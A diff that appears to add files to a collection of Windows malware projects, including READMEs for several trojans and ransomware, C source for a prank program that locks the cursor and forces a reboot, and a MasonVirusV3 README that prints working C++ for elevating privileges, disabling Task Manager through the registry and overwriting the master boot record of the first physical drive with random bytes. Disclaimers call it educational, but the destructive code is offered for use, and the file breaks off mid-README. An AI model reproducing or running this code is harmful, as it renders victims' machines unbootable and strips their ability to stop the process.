+ ╚█████╔╝ ██║╚██████╔╝╚██████╔╝ ██║ ███████║╚█████╔╝██╗███████╗╚██████╔╝ ██║███████╗ ██║ ██║███████║███████╗ █████╔╝██╗███████╗╚██████╔╝ ██║
6
+ ╚════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚════╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ╚════╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝
7
+
8
+ Malware name: J100758.264+211529.207
9
+ Malware type: Trojan
10
+ Damage rate: Destructive
11
+ Made in: c++, asm
12
+ Works best on: Windows XP
13
+ Creator: pankoza
14
+ creation date: 10 May 2022
15
+ The MBR is a boot sector remake of Donkey.bas called Sorry Ass: https://github.com/viler-int10h/Sorry-Ass
16
+ This malware is not a joke, run it only on vm
src/Ketako-main/README.md ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Ketako
2
+
3
+ Ketako malware repository. Version v1.3.
4
+
5
+ # What is Ketako ?
6
+
7
+ Ketako is a malware, it will destroy your computer, so don't try this virus on your main machine.
8
+
9
+ # What is this repository ?
10
+
11
+ It's all the source code of Ketako, and a compiled version is availaible here.
12
+
13
+ # How this malware was made ?
14
+
15
+ It's made on Visual Basic 2010 Express, an old software from 2010.
16
+
17
+ # Is the source code have spoilers about the malware ?
18
+
19
+ Yes, because there is all the logic-side of the malware.
20
+
21
+ # Demo image
22
+ _PS : This is a old picture !!!_
23
+ ![](https://raw.githubusercontent.com/Rix565/Ketako/main/demo.png)
src/Klog/Klog.sln ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 16
4
+ VisualStudioVersion = 16.0.34931.43
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Klog", "Klog\Klog.csproj", "{968D80A1-DD26-461F-BABC-8B1E511B18A3}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|Any CPU = Debug|Any CPU
11
+ Release|Any CPU = Release|Any CPU
12
+ EndGlobalSection
13
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
14
+ {968D80A1-DD26-461F-BABC-8B1E511B18A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15
+ {968D80A1-DD26-461F-BABC-8B1E511B18A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
16
+ {968D80A1-DD26-461F-BABC-8B1E511B18A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
17
+ {968D80A1-DD26-461F-BABC-8B1E511B18A3}.Release|Any CPU.Build.0 = Release|Any CPU
18
+ EndGlobalSection
19
+ GlobalSection(SolutionProperties) = preSolution
20
+ HideSolutionNode = FALSE
21
+ EndGlobalSection
22
+ GlobalSection(ExtensibilityGlobals) = postSolution
23
+ SolutionGuid = {F77CEE9D-2291-4CE3-95A5-A0C345F862D9}
24
+ EndGlobalSection
25
+ EndGlobal
src/MEMZ/memz ADDED
@@ -0,0 +1 @@
 
 
1
+
src/MOUSEMVD.EXE_SRC/LICENSE ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
2
+ Version 2, December 2004
3
+
4
+ Copyright (C) 2025 haloperidozz (TikTok: @haloperidozz)
5
+
6
+ Everyone is permitted to copy and distribute verbatim or modified
7
+ copies of this license document, and changing it is allowed as long
8
+ as the name is changed.
9
+
10
+ DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
11
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
12
+
13
+ 0. You just DO WHAT THE FUCK YOU WANT TO.
src/MOUSEMVD.EXE_SRC/Makefile ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ##############################################################################
2
+
3
+ TARGET = MOUSEMVD.EXE
4
+ CFLAGS = -D_UNICODE -DUNICODE -O2 -s
5
+ LDFLAGS = -mwindows -municode -s
6
+ CC = gcc
7
+ WINDRES = windres
8
+ OBJS = $(patsubst %.c,%.o,$(wildcard *.c)) resource.o
9
+
10
+ ##############################################################################
11
+
12
+ all: $(TARGET)
13
+
14
+ $(TARGET): $(OBJS)
15
+ $(CC) -o $@ $^ $(LDFLAGS)
16
+
17
+ %.o: %.c
18
+ $(CC) $(CFLAGS) -c $< -o $@
19
+
20
+ resource.o: resource.rc
21
+ $(WINDRES) $< -o $@
22
+
23
+ clean:
24
+ rm -f $(OBJS) $(TARGET)
25
+
26
+ ##############################################################################
src/MOUSEMVD.EXE_SRC/mousemvd.c ADDED
@@ -0,0 +1,142 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <windowsx.h>
3
+ #include <tchar.h>
4
+ #include <stdio.h>
5
+
6
+ #if !defined(_UNICODE) && !defined(UNICODE)
7
+ #error "Please define _UNICODE and UNICODE in your project settings."
8
+ #endif
9
+
10
+ #define MESSAGE TEXT("Мышь была передвинута.\n\n") \
11
+ TEXT("%WINDOWS_SHORT% должна быть перезагружена,") \
12
+ TEXT(" чтобы изменения вступили в силу.")
13
+
14
+ #define CAPTION TEXT("%WINDOWS_GENERIC%")
15
+
16
+ #define UM_MOUSEMOVE WM_USER + 1
17
+
18
+ typedef PWSTR (WINAPI *BrandingFormatString_t)(PCWSTR pstrFormat);
19
+
20
+ static PWSTR WINAPI BrandingFormatString(PCWSTR pstrFormat)
21
+ {
22
+ FARPROC fpFuncAddress = NULL;
23
+ HMODULE hWinBrandDll = NULL;
24
+
25
+ hWinBrandDll = LoadLibraryEx(TEXT("winbrand.dll"), NULL,
26
+ LOAD_LIBRARY_SEARCH_SYSTEM32);
27
+
28
+ if (hWinBrandDll == NULL) {
29
+ return NULL;
30
+ }
31
+
32
+ fpFuncAddress = GetProcAddress(hWinBrandDll, "BrandingFormatString");
33
+
34
+ if (fpFuncAddress == NULL) {
35
+ return NULL;
36
+ }
37
+
38
+ return ((BrandingFormatString_t) fpFuncAddress)(pstrFormat);
39
+ }
40
+
41
+ static BOOL EnablePrivilege(LPCTSTR lpszPrivilege)
42
+ {
43
+ HANDLE hToken;
44
+ TOKEN_PRIVILEGES tkp;
45
+ BOOL bResult = FALSE;
46
+
47
+ bResult = OpenProcessToken(
48
+ GetCurrentProcess(),
49
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken
50
+ );
51
+
52
+ if (bResult == FALSE) {
53
+ return FALSE;
54
+ }
55
+
56
+ LookupPrivilegeValue(NULL, lpszPrivilege, &tkp.Privileges[0].Luid);
57
+
58
+ tkp.PrivilegeCount = 1;
59
+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
60
+
61
+ AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES),
62
+ NULL, NULL);
63
+
64
+ bResult = (GetLastError() == ERROR_SUCCESS);
65
+
66
+ CloseHandle(hToken);
67
+ return bResult;
68
+ }
69
+
70
+ static DWORD WINAPI MouseMovedThread(LPVOID lpParam)
71
+ {
72
+ PWSTR pszFormatedMessage = BrandingFormatString(MESSAGE);
73
+ PWSTR pszFormatedCaption = BrandingFormatString(CAPTION);
74
+
75
+ MessageBox(
76
+ NULL, pszFormatedMessage, pszFormatedCaption,
77
+ MB_OK | MB_ICONWARNING | MB_SERVICE_NOTIFICATION | MB_SETFOREGROUND
78
+ );
79
+
80
+ GlobalFree(pszFormatedCaption);
81
+ GlobalFree(pszFormatedMessage);
82
+
83
+ if (EnablePrivilege(SE_SHUTDOWN_NAME) == FALSE) {
84
+ return 0;
85
+ }
86
+
87
+ ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_SOFTWARE);
88
+ return 0;
89
+ }
90
+
91
+ static LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
92
+ {
93
+ PMSLLHOOKSTRUCT pMouseStruct = (PMSLLHOOKSTRUCT) lParam;
94
+
95
+ if (nCode >= 0 && wParam == WM_MOUSEMOVE) {
96
+ /* HACK: https://stackoverflow.com/a/14441981 */
97
+ PostThreadMessage(
98
+ GetCurrentThreadId(), UM_MOUSEMOVE,
99
+ 0, MAKELPARAM(pMouseStruct->pt.x, pMouseStruct->pt.y)
100
+ );
101
+ }
102
+
103
+ return CallNextHookEx(NULL, nCode, wParam, lParam);
104
+ }
105
+
106
+ int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
107
+ LPTSTR lpCmdLine, int nCmdShow)
108
+ {
109
+ RECT rcLock = {0};
110
+ HHOOK hMouseHook = NULL;
111
+ MSG msg = {0};
112
+
113
+ Sleep(30000); /* 30s = 30000ms */
114
+
115
+ hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, NULL, 0);
116
+
117
+ if (hMouseHook == NULL) {
118
+ return -1;
119
+ }
120
+
121
+ while (GetMessage(&msg, NULL, 0, 0) > 0) {
122
+ if ((msg.message == UM_MOUSEMOVE) && IsRectEmpty(&rcLock)) {
123
+ rcLock.left = GET_X_LPARAM(msg.lParam);
124
+ rcLock.top = GET_Y_LPARAM(msg.lParam);
125
+ rcLock.right = rcLock.left + 1;
126
+ rcLock.bottom = rcLock.top + 1;
127
+
128
+ CreateThread(NULL, 0, MouseMovedThread, NULL, 0, NULL);
129
+ }
130
+
131
+ if (msg.message == UM_MOUSEMOVE) {
132
+ ClipCursor(&rcLock);
133
+ continue;
134
+ }
135
+
136
+ TranslateMessage(&msg);
137
+ DispatchMessage(&msg);
138
+ }
139
+
140
+ UnhookWindowsHookEx(hMouseHook);
141
+ return 0;
142
+ }
src/MOUSEMVD.EXE_SRC/resource.rc ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+
3
+ HALOPERIDOZZ ICON DISCARDABLE "haloperidozz.ico"
4
+
5
+ VS_VERSION_INFO VERSIONINFO
6
+ FILEVERSION 1,0,0,0
7
+ PRODUCTVERSION 1,0,0,0
8
+ FILEOS VOS__WINDOWS32
9
+ FILETYPE VFT_APP
10
+ BEGIN
11
+ BLOCK "StringFileInfo"
12
+ BEGIN
13
+ BLOCK "040904E4"
14
+ BEGIN
15
+ VALUE "CompanyName", "TikTok: @haloperidozz"
16
+ VALUE "FileDescription", "TikTok: @haloperidozz"
17
+ VALUE "FileVersion", "1,0,0,0"
18
+ VALUE "InternalName", "MOUSEMVD"
19
+ VALUE "LegalCopyright", "Copyright (C) 2024 haloperidozz (TikTok: @haloperidozz)"
20
+ VALUE "OriginalFilename", "MOUSEMVD.EXE"
21
+ VALUE "ProductName", "MOUSEMVD"
22
+ VALUE "ProductVersion", "1,0,0,0"
23
+ END
24
+ END
25
+ END
src/MasonRansomware-main/MasonRansomware.cs ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ using System;
2
+ using System.Windows.Forms;
3
+
4
+ class Program
5
+ {
6
+ static void Main()
7
+ {
8
+ MessageBox.Show("Gangsta freemasonry made me do it", "MasonRansomware");
9
+ Environment.Exit(0);
10
+ }
11
+ }
src/MasonRansomware-main/README.md ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ This virus encrypts all files of the victim, or what is called Ransomware
2
+ --------------------------------------------
3
+ also plays an animated image that it cannot remove and locks all programs
4
+ ---------------------------------------
5
+ ![freemason](https://github.com/876N/Do4Not/assets/133999409/f36a19bb-93a7-4b5b-a539-9318d792b1e6)
6
+
7
+ ---------------------------------------
8
+ and when the device is closed and turned on the program works again
src/MasonVirusV3-main/MasonVirus.sln ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 17
4
+ VisualStudioVersion = 17.11.35327.3
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MasonVirus", "MasonVirus\MasonVirus.vcxproj", "{535B1E83-5903-45D2-83EC-C54C99E0A5DA}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|x64 = Debug|x64
11
+ Debug|x86 = Debug|x86
12
+ Release|x64 = Release|x64
13
+ Release|x86 = Release|x86
14
+ EndGlobalSection
15
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
16
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x64.ActiveCfg = Debug|x64
17
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x64.Build.0 = Debug|x64
18
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x86.ActiveCfg = Debug|Win32
19
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x86.Build.0 = Debug|Win32
20
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x64.ActiveCfg = Release|x64
21
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x64.Build.0 = Release|x64
22
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x86.ActiveCfg = Release|Win32
23
+ {535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x86.Build.0 = Release|Win32
24
+ EndGlobalSection
25
+ GlobalSection(SolutionProperties) = preSolution
26
+ HideSolutionNode = FALSE
27
+ EndGlobalSection
28
+ GlobalSection(ExtensibilityGlobals) = postSolution
29
+ SolutionGuid = {E9EE716C-36BD-4F15-AA19-5F66E7ABC6F9}
30
+ EndGlobalSection
31
+ EndGlobal
src/MasonVirusV3-main/README.md ADDED
@@ -0,0 +1,154 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # MasonVirusV3
2
+
3
+ ![MasonVirusV3](https://i.ibb.co/R2rKXqY/image.png)
4
+
5
+ ## Overview
6
+ This program is a demonstration of various advanced system manipulation techniques, including MBR overwriting, disabling system utilities, and simulating visual and input effects. The following sections explain each part of the code in detail.
7
+
8
+ ---
9
+
10
+ ### Checking for Administrator Privileges
11
+ ```cpp
12
+ bool IsRunningAsAdmin() {
13
+ BOOL isAdmin = FALSE;
14
+ PSID adminGroup;
15
+ SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
16
+ if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
17
+ if (CheckTokenMembership(NULL, adminGroup, &isAdmin) == 0) {
18
+ isAdmin = FALSE;
19
+ }
20
+ FreeSid(adminGroup);
21
+ }
22
+ return isAdmin == TRUE;
23
+ }
24
+ ```
25
+
26
+ - **Purpose**:
27
+ This function checks whether the program is running with administrative privileges.
28
+
29
+ - **How it works**:
30
+ 1. A security identifier (SID) for the "Administrators" group is created using `AllocateAndInitializeSid`.
31
+ 2. The program checks if the current process's token belongs to this group using `CheckTokenMembership`.
32
+ 3. If the token indicates membership, the function returns `true`, indicating admin privileges.
33
+ 4. The SID is freed after use to prevent memory leaks.
34
+
35
+ ---
36
+
37
+ ### Requesting Administrator Privileges
38
+ ```cpp
39
+ void RequestAdminPrivileges() {
40
+ if (!IsRunningAsAdmin()) {
41
+ WCHAR szFilePath[MAX_PATH];
42
+ GetModuleFileName(NULL, szFilePath, MAX_PATH);
43
+ ShellExecute(NULL, L"runas", szFilePath, NULL, NULL, SW_SHOWNORMAL);
44
+ ExitProcess(0);
45
+ }
46
+ }
47
+ ```
48
+
49
+ - **Purpose**:
50
+ This function requests administrative privileges if the program is not already running as an administrator.
51
+
52
+ - **How it works**:
53
+ 1. It checks for admin privileges using `IsRunningAsAdmin`.
54
+ 2. If not running as admin, it restarts the program with elevated privileges using `ShellExecute` with the `"runas"` verb.
55
+ 3. The current process exits to allow the elevated instance to take over.
56
+
57
+ ---
58
+
59
+ ### Disabling Task Manager
60
+ ```cpp
61
+ void DisableTaskManager() {
62
+ HKEY hKey;
63
+ if (RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
64
+ DWORD dwData = 1;
65
+ RegSetValueEx(hKey, L"DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&dwData, sizeof(dwData));
66
+ RegCloseKey(hKey);
67
+ }
68
+ }
69
+ ```
70
+
71
+ - **Purpose**:
72
+ Disables the Task Manager to prevent the user from terminating the program.
73
+
74
+ - **How it works**:
75
+ 1. Opens the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System`.
76
+ 2. Sets the value `DisableTaskMgr` to `1`, which disables Task Manager.
77
+ 3. Closes the registry key after making changes.
78
+
79
+ ---
80
+
81
+ ### Overwriting the Master Boot Record (MBR)
82
+ ```cpp
83
+ void OverwriteMBR() {
84
+ HANDLE hDrive = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
85
+ if (hDrive == INVALID_HANDLE_VALUE) {
86
+ return;
87
+ }
88
+ BYTE mbrData[MBR_SIZE];
89
+ std::random_device rd;
90
+ std::mt19937 gen(rd());
91
+ std::uniform_int_distribution<> dis(0, 255);
92
+ for (int i = 0; i < MBR_SIZE; i++)
93
+ mbrData[i] = dis(gen);
94
+ DWORD bytesWritten;
95
+ WriteFile(hDrive, mbrData, MBR_SIZE, &bytesWritten, NULL);
96
+ CloseHandle(hDrive);
97
+ }
98
+ ```
99
+
100
+ - **Purpose**:
101
+ This function overwrites the Master Boot Record (MBR) of the primary physical drive, effectively rendering the system unbootable.
102
+
103
+ - **How it works**:
104
+ 1. Opens a handle to the primary physical drive (`PhysicalDrive0`) with write access.
105
+ 2. Generates random data to fill a buffer of 512 bytes (the size of the MBR).
106
+ 3. Writes this random data to the drive, overwriting the MBR.
107
+ 4. Closes the handle to the drive.
108
+
109
+ - **Warning**:
110
+ This operation is extremely destructive and should only be executed with a full understanding of its consequences.
111
+
112
+ ---
113
+
114
+ ### Displaying Random Text on the Screen
115
+ ```cpp
116
+ void DisplayRandomText() {
117
+ HDC hdc;
118
+ int sx = 0, sy = 0;
119
+ LPCWSTR lpText = L"ABOLHB"; // ENTER YOUR NAME
120
+ while (true) {
121
+ hdc = GetWindowDC(GetDesktopWindow());
122
+ sx = GetSystemMetrics(SM_CXSCREEN);
123
+ sy = GetSystemMetrics(SM_CYSCREEN);
124
+ TextOutW(hdc, rand() % sx, rand() % sy, lpText, wcslen(lpText));
125
+ Sleep(10);
126
+ }
127
+ }
128
+ ```
129
+
130
+ - **Purpose**:
131
+ Randomly displays a predefined text string on the screen at random positions.
132
+
133
+ - **How it works**:
134
+ 1. Retrieves the device context (HDC) of the desktop window.
135
+ 2. Calculates the screen dimensions using `GetSystemMetrics`.
136
+ 3. Displays the text at random positions using `TextOutW`.
137
+ 4. The function runs in an infinite loop, continuously displaying the text.
138
+
139
+ ---
140
+
141
+ ## Disclaimer
142
+ This program contains potentially harmful code, including MBR overwriting, which can permanently damage a computer. Use this code for educational purposes only and at your own risk.
143
+
144
+ ---
145
+
146
+ ## Acknowledgments
147
+ - **Coded By**: ABOLHB
148
+ - **Group**: FREEMASONRY
149
+
150
+ ### Disclaimer of Liability
151
+ The author and group disclaim any liability for misuse of this code. This software is provided "as is" for educational purposes only. Any damage caused by its use is the sole responsibility of the user.
152
+
153
+
154
+
src/NEPOTONOD-master/README.md ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ # NEPOTONOD
2
+ ## A noice :ok_hand: malware for leurak's community discord.
src/NEPOTONOD-master/nepotonod.sln ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio 15
4
+ VisualStudioVersion = 15.0.27703.2042
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nepotonod", "nepotonod\nepotonod.vcxproj", "{5B154B14-12CA-4931-8AAF-04CE5B66F745}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|x64 = Debug|x64
11
+ Debug|x86 = Debug|x86
12
+ Release|x64 = Release|x64
13
+ Release|x86 = Release|x86
14
+ EndGlobalSection
15
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
16
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x64.ActiveCfg = Debug|x64
17
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x64.Build.0 = Debug|x64
18
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x86.ActiveCfg = Debug|Win32
19
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x86.Build.0 = Debug|Win32
20
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x64.ActiveCfg = Release|x64
21
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x64.Build.0 = Release|x64
22
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x86.ActiveCfg = Release|Win32
23
+ {5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x86.Build.0 = Release|Win32
24
+ EndGlobalSection
25
+ GlobalSection(SolutionProperties) = preSolution
26
+ HideSolutionNode = FALSE
27
+ EndGlobalSection
28
+ GlobalSection(ExtensibilityGlobals) = postSolution
29
+ SolutionGuid = {7F3B92BA-87BB-4E58-A1BD-F72133714D2B}
30
+ EndGlobalSection
31
+ EndGlobal
src/Nitrite-main/LICENSE ADDED
@@ -0,0 +1,674 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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+ GNU GENERAL PUBLIC LICENSE
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src/Nitrite-main/README.md ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # 🤔 What is Nitrite? 🤔
2
+ Nitrite is a GDI Trojan made in C++ by NotCCR that comes in 2 versions: destructive and GDI only. The creator is not responsible for any damages made with this malware, as it is quite destructive.
3
+ > [!NOTE]
4
+ > Password to zipped archive: "nitrogen"
5
+
6
+ # 🦠 Destruction 🦠
7
+ This GDI malware is able to overwrite the MBR, corrupt the registry, replicate itself, delete the BCD, move the mouse and all active windows, and change all labels to "NITRITE".
8
+ It also displays some mesmerizing GDI effects.
9
+
10
+ I am not responsible for damages.
11
+
12
+ # ❤️ For Skidders ❤️
13
+ I know some of you may skid this malware because of the open source code, so...
14
+
15
+ To prevent that, in order for your malware not to be taken down, you have to obey the restrictions of the GNU GPL v3.0 licence.
16
+ That way, if you EVER use its source code, you must release the source code of your project and credit me as well.
src/Nitro-Ransomware-master/NitroRansomware.sln ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 16
4
+ VisualStudioVersion = 16.0.31105.61
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NitroRansomware", "NitroRansomware\NitroRansomware.csproj", "{D5E87439-21E6-4567-A877-6AD9BEE00DC9}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|Any CPU = Debug|Any CPU
11
+ Release|Any CPU = Release|Any CPU
12
+ EndGlobalSection
13
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
14
+ {D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15
+ {D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Debug|Any CPU.Build.0 = Debug|Any CPU
16
+ {D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.ActiveCfg = Release|Any CPU
17
+ {D5E87439-21E6-4567-A877-6AD9BEE00DC9}.Release|Any CPU.Build.0 = Release|Any CPU
18
+ EndGlobalSection
19
+ GlobalSection(SolutionProperties) = preSolution
20
+ HideSolutionNode = FALSE
21
+ EndGlobalSection
22
+ GlobalSection(ExtensibilityGlobals) = postSolution
23
+ SolutionGuid = {7F0AD128-C26A-4F33-AB79-E5242E8EF62C}
24
+ EndGlobalSection
25
+ EndGlobal
src/Nitro-Ransomware-master/README.md ADDED
@@ -0,0 +1,42 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Nitro Ransomware - Proof of Concept
2
+ Uses Discord nitro gift subscription as ransom. C# Ransomware for educational purposes only
3
+
4
+ ## About
5
+ Ransomware is a type of malware that prevents or limits users from accessing their files in their sysem. It locks the user's files until the ransom is paid, in this case,
6
+ a Discord nitro subscription. If a user wants to unlock their files, a decryption key is needed. The ransomware asks for the ransom in exchange for the decryption key.
7
+
8
+ ## Disclaimer
9
+ This Ransomware should not be used to harm/threat/hurt others.
10
